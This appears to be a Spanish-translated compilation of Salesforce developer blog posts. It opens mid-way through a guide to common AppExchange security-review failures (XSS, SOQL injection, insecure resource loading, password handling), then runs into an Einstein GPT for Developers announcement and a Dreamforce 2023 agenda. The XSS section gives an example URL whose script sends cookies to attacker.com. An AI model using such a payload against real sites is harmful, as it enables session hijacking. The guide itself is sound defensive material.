Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Categorías
Einstein

Einstein GPT para desarrolladores: ahora en versión piloto ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Einstein GPT para desarrolladores: ahora en fase piloto | Blog de desarrolladores de Salesforce

La IA generativa es una tecnología transformadora que aumenta la productividad de los desarrolladores, acelera el desarrollo de aplicaciones de software y reduce la barrera para que cualquiera aprenda a programar. En el TrailblazerDX de este año, anunciamos Einstein GPT para desarrolladores , la solución de inteligencia artificial generativa de Salesforce que libera la productividad de los desarrolladores y les permite desarrollar Salesforce más rápido . Hoy, estamos encantados de anunciar que Einstein GPT para desarrolladores ahora está en piloto cerrado.

Creado específicamente para lenguajes y marcos de Salesforce, Einstein GPT para desarrolladores puede generar código Apex utilizando lenguaje natural. El soporte para LWC llegará pronto. Nuestro objetivo es que esté disponible en Beta abierta en Dreamforce 23 , para que todos puedan tener acceso a la herramienta. En este blog, exploraremos cómo comenzar con Einstein GPT para el desarrollo de Apex y cómo su potencial puede revolucionar su proceso de desarrollo.

Einstein GPT para desarrolladores frente a otras herramientas de codificación de IA

Las herramientas de codificación de IA generativa disponibles en la actualidad se entrenan principalmente en lenguajes públicos, como Java, Python y otros, así como en código disponible públicamente. Dado que los lenguajes específicos de Salesforce, como Apex y LWC, son propietarios, estas herramientas a menudo carecen de la capacitación necesaria para brindar recomendaciones precisas.

Además, las herramientas de codificación de IA son tan poderosas como el contexto que se les proporciona. Dado que estas herramientas de codificación públicas carecen del contexto de Salesforce de su organización, como los metadatos, las recomendaciones pueden ser inexactas o insuficientes para satisfacer sus necesidades. Por último, el uso de herramientas de inteligencia artificial disponibles públicamente expone su código privado más allá del límite de confianza de Salesforce y podría hacerlo público, una posible vulnerabilidad de seguridad.

Con Einstein GPT para desarrolladores, utilizamos CodeGen , nuestro propio modelo de código abierto para la síntesis de programas. Hospedamos CodeGen dentro del límite de confianza de Salesforce y lo hemos capacitado en lenguajes específicos de Salesforce como Apex y LWC. Con una base dinámica incorporada al proceso de generación de código, Einstein GPT enriquece sus recomendaciones utilizando sus metadatos y código. Nuestra capa de confianza de IA dentro de Einstein GPT garantiza que sus datos y código permanezcan seguros dentro de Salesforce y nunca se almacenen externamente.

Comience con Einstein GPT para desarrolladores

Einstein GPT para desarrolladores se encuentra actualmente en una fase piloto cerrada. Nuestro plan es que esté disponible en Open Beta para Dreamforce 2023. Una vez que su organización esté habilitada para esta herramienta, puede instalar la extensión Einstein GPT en su VS Code Desktop usando un archivo VSIX compartido. Einstein GPT también estará disponible en Code Builder , nuestro IDE basado en web, que se espera que esté disponible de forma general en octubre. ¡Estén atentos a las actualizaciones!

Para utilizar la herramienta Einstein GPT para desarrolladores de forma eficaz:

  1. Abra su VS Code, vaya a Archivo > Abrir carpeta en el menú y abra un proyecto de Salesforce DX existente o configure un nuevo proyecto.
  2. Para trabajar con Einstein GPT para desarrolladores, ejecute el comando SFDX: Autorizar una organización para conectarse a una organización sandbox o a una organización borrador de Salesforce. Podrá utilizar Einstein GPT para desarrolladores dentro de este entorno.

Si está utilizando organizaciones borrador, active Einstein GPT para desarrolladores habilitando la función adicional de organización borrador. Simplemente edite y guarde el archivo config/project-scratch-def.json en su proyecto DX y agregue la función EinsteinGPTForDevelopers a su lista de funciones existente.

Por ejemplo:

Finalmente, puede comenzar a generar código Apex escribiendo un mensaje mediante el comando Paleta de comandos: SFDX: generar código con Einstein GPT (ver captura de pantalla a continuación) . Tenga en cuenta que debe estar dentro de un archivo Apex ( .cls ) para que aparezca el comando.

A continuación se muestra un mensaje de ejemplo:

Quiero crear una clase de Apex. Llamémoslo OpportunityQuerySelector. Cree un método llamado getSumOfOpportunityRecords que recupere la cantidad de registros de oportunidades vinculados a un registro de cuenta específico. El método debe aceptar accountId como parámetro. Siga las mejores prácticas de seguridad y asegúrese de que el código se ejecute en el modo de usuario.

Y luego el resultado se muestra a continuación.

Si bien el código generado anteriormente no requirió muchas ediciones, es posible que necesite personalizar la salida generada por Einstein GPT según sus necesidades durante el desarrollo. El panel Einstein GPT: Historial y comentarios dentro del IDE le permite compartir comentarios sobre el resultado generado. ¡Estos comentarios son imprescindibles para ayudarnos a capacitar a nuestro LLM y mejorar su resultado! Estamos emocionados de escuchar sus comentarios.

Transformando el proceso de desarrollo

Recién estamos comenzando con la IA generativa para transformar su flujo de trabajo de desarrollo. Mira lo que viene pronto:

  • Compatibilidad con Lightning Web Component (LWC): genere código LWC basado en el procesamiento del lenguaje natural (NLP)
  • Finalización predictiva de código en línea: complete automáticamente la siguiente línea de código sugerida con metadatos contextuales del proyecto.
  • Verificación del rendimiento del código: escanee el código Apex y corrija errores de tiempo de ejecución durante el proceso de desarrollo
  • Asistencia conversacional: Pídale a Einstein que genere código contextual y documentación, explique el código o resuelva problemas complejos.

Conclusión

A medida que Einstein GPT para desarrolladores amplíe sus capacidades para admitir LWC, proporcionar finalización de código inteligente y brindar asistencia conversacional, podrá desarrollar la plataforma Salesforce más rápido que nunca. Nuestro objetivo es que esté disponible en Beta abierta en Dreamforce 2023 , para que todos puedan tener acceso a la herramienta. ¡Únase a nosotros en Dreamforce '23 para jugar y profundizar en Einstein GPT para desarrolladores!

Recursos adicionales

Sobre el Autor

Mohith Shrivastava es desarrollador defensor en Salesforce con una década de experiencia en la creación de productos a escala empresarial en la plataforma Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes de Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a través de LinkedIn .

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Categorías
Trailhead y Comunidad

La guía para desarrolladores de Salesforce para Dreamforce 2023 ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

La guía del desarrollador de Salesforce para Dreamforce 2023 | Blog de desarrolladores de Salesforce

¡Llamando a todos los desarrolladores de Salesforce! ¿Estás listo para experimentar la magia de AI + Datos + CRM en Dreamforce 2023? Hemos preparado una experiencia repleta de tres días como ninguna otra, así que prepárate para aprender, conectarte, divertirte y retribuir rodeado de compañeros innovadores en la conferencia de tecnología más grande del mundo.

Sabemos que está contando ansiosamente los días hasta que comience Dreamforce, así que siga leyendo para comenzar a planificar su experiencia Dreamforce perfecta, desde conferencias magistrales hasta sesiones en Developer Track y demostraciones prácticas en acción en Developer Grove.

Vea la última tecnología en la conferencia magistral sobre el futuro del desarrollo

AI + Data + CRM están cambiando rápidamente el futuro de los negocios y los desarrolladores están a la vanguardia. Únase al presidente y director de ingeniería, Srini Tallapragada, y a invitados especiales para aprender todo sobre el futuro del desarrollo y cómo puede aprovechar la IA en su trabajo.

Si asistirá a Dreamforce en persona, asegúrese de agregar la conferencia magistral a su agenda . Si lo seguirá desde casa, vea la conferencia magistral completa mientras se transmite en vivo en Salesforce+ .

📅 Marque sus calendarios: jueves 14 de septiembre, de 1:30 a 2:20 p. m., hora del Pacífico
🎤 Oradores destacados: Srini Tallapragada, Alba Rivas, Adam White, Kat Holmes, Chris Peterson, Avanthika Ramesh
Añadir a tu agenda

Descubra los aspectos más destacados de la versión para desarrolladores en Developer Preview Live

Eche un primer vistazo a las principales funciones, herramientas e innovaciones para desarrolladores de la versión Winter '24. Vea demostraciones en vivo de interesantes innovaciones de productos y haga preguntas a nuestros expertos en productos. Hay tantas innovaciones nuevas para los desarrolladores en esta versión que ¡no querrás perderte esto!

📅 Marque sus calendarios: jueves 14 de septiembre, de 2:30 a 3:30 p. m., hora del Pacífico
🎤 Oradores destacados: Aditya Naag Topalli, Mohith Shrivastava, Ewald Hofman, Danielle Larregui, Greg Whitworth, Akshata Sawant, Sarah Welker
Añadir a tu agenda

Mejora tus habilidades en la ruta de desarrollador

Developer Track ofrece una combinación de sesiones de teatro de 20 minutos en Developer Theatre y sesiones de trabajo de 40 minutos. Espere asimilar las mejores prácticas, consejos y mucha inspiración. ¡Y hay algo para todos, sin importar los temas que te apasionen! Tenemos sesiones para todos los niveles (principiante, intermedio, avanzado) en todas las funciones y temas: IA generativa, nube de datos, DevOps Center, MuleSoft, Code Builder, Apex, AppExchange, Lightning Web Components, Slack, seguridad, accesibilidad y más.

📍 Las sesiones de calentamiento se ubicarán en todo Trailblazer Forest: en Developer Theatre junto a Developer Grove, Redwood Theatre, Einstein Theatre, Data Cloud Theatre y Olympic Theatre. Las sesiones de trabajo de Developer Track se llevarán a cabo en el segundo y tercer piso de Moscone West. Asegúrese de consultar su agenda para conocer la ubicación exacta de las habitaciones.

Para encontrar estas sesiones en el catálogo de sesiones de Dreamforce , seleccione Función en la navegación izquierda y marque Desarrollador para ver todas las sesiones etiquetadas para desarrolladores.

Algunas sesiones imperdibles para agregar a tu agenda ✏️

Descubra el poder de Einstein GPT para desarrolladores
Qué esperar: La IA generativa ha arrasado en el mundo de la tecnología. Conozca las capacidades más recientes de Einstein GPT y cómo los desarrolladores pueden utilizar la tecnología para crear sus propias aplicaciones impulsadas por IA en Salesforce.
Oradores destacados: Stephan Chandler-García, Ananya Jha
Añade esta sesión a tu agenda

Comprensión de la nube de datos para desarrolladores de Salesforce
Qué esperar: aprenda qué significa Data Cloud para los desarrolladores, cómo se exponen sus artefactos como metadatos de plataforma familiares y cómo ingerir e interactuar con sus datos mediante SQL, Apex, Flows, API y SDK.
Oradores destacados: Aditya Naag Topalli, Danielle Larregui
Añade esta sesión a tu agenda

¿Quieres un mejor código? Einstein GPT y Code Analyzer pueden ayudar
Qué esperar: Impulse el desarrollo de Salesforce con el dúo dinámico de Einstein GPT para desarrolladores y Code Analyzer. Aprenda cómo optimizar la generación y validación de código directamente desde las experiencias IDE.
Oradores destacados: Gordon Bockus, Vivek Chawla
Añade esta sesión a tu agenda

Componentes web Lightning: novedades y novedades
Qué esperar: aprenda cómo puede utilizar Lightning Web Components para hacer que el desarrollo en Salesforce sea más fácil y eficiente. Vea las últimas funciones disponibles para LWC y lo que se avecina en la hoja de ruta.
Oradores destacados: Alicia Teo, Alice Oh, Leo Balter
Añade esta sesión a tu agenda

Hoja de ruta de Apex: novedades y novedades
Qué esperar: Los gerentes de producto de Salesforce profundizarán en las funciones lanzadas recientemente y en el futuro en la hoja de ruta de Apex, incluido Einstein GPT para desarrolladores.
Oradores destacados: Daniel Ballinger, Chris Peterson
Añade esta sesión a tu agenda

Aumente la productividad de los desarrolladores con GraphQL e IA generativa
Qué esperar: Sumérgete en la nueva API GraphQL, donde las consultas y mutaciones se pueden combinar en una sola solicitud, ganando rendimiento y flexibilidad. Eche un vistazo a cómo redactar consultas con IA generativa.
Oradores destacados: Julián Duque, Ben Sklar
Añade esta sesión a tu agenda

Desarrollar componentes web Lightning para dispositivos móviles sin conexión
Qué esperar: ¿ Usuarios móviles sin conexión? Aprenda cómo habilitarlos con componentes web Lightning personalizados para mostrar e incluso actualizar registros mientras un dispositivo móvil está desconectado de Internet.
Oradora destacada: Angela Le
Añade esta sesión a tu agenda

Gestionar dependencias y conflictos en el Centro DevOps
Qué esperar: profundice en cómo los desarrolladores utilizan DevOps Center para gestionar el ciclo de vida del desarrollo de software. Comience con DevOps Center y aprenda a solucionar los problemas más comunes, como la resolución de conflictos.
Oradores destacados: Gilson Canario, Francisco Sammartino
Añade esta sesión a tu agenda

Cinco cosas que los desarrolladores de Salesforce deben saber sobre MuleSoft
Qué esperar: Únase a esta sesión para conocer los conceptos clave de MuleSoft que necesita saber como desarrollador de Salesforce. Nos centraremos en las mejores prácticas, consejos y trucos, antipatrones y más con ejemplos en vivo.
Oradores destacados: Gaurav Kheterpal, Akshata Sawant
Añade esta sesión a tu agenda

Pon a prueba tus habilidades en Developer Grove

Developer Grove, ubicado en Trailhead Forest, es el hogar de los desarrolladores durante Dreamforce y el lugar para comenzar su viaje de aprendizaje de tres días .

Nuestra principal atracción este año es una competencia estilo arcade que pone a prueba tus habilidades de ingeniería en IA. ¡Completa tantos desafíos como puedas en el menor tiempo posible para que tu nombre aparezca en la tabla de clasificación y puedas presumir de ello!

Visite la estación de demostración que cubre nuestras aplicaciones de muestra y recetas de código, y descubra cómo puede utilizarlas en su propio trabajo. Cada estación contará con empleados de Salesforce que saben lo que hacen y les encanta ayudar a otros a aprender.

❗Novedad de este año: Estación de consultas 1:1 en Developer Grove. Los desarrolladores de Salesforce pueden registrarse para una consulta individual de 20 minutos con profesionales expertos de Salesforce. Para reservar una consulta individual, visite esta página y seleccione el tema "Desarrollador de Salesforce". Cuando haya terminado de registrarse, se le enviará una confirmación por correo electrónico y estará disponible en la aplicación Salesforce Events; descárguela ahora en App Store o Google Play Store .

Otras cosas a tener en cuenta 👀

Conferencia principal de Dreamforce

Únase al director ejecutivo de Salesforce, Marc Benioff, junto con invitados especiales en el discurso principal de Dreamforce para escuchar todo sobre nuestras innovaciones más recientes.

📅 Marque sus calendarios: martes 12 de septiembre, de 10 a. m. a 12 p. m., hora del Pacífico
Añade la keynote a tu agenda

Fiel al foro principal de clientes

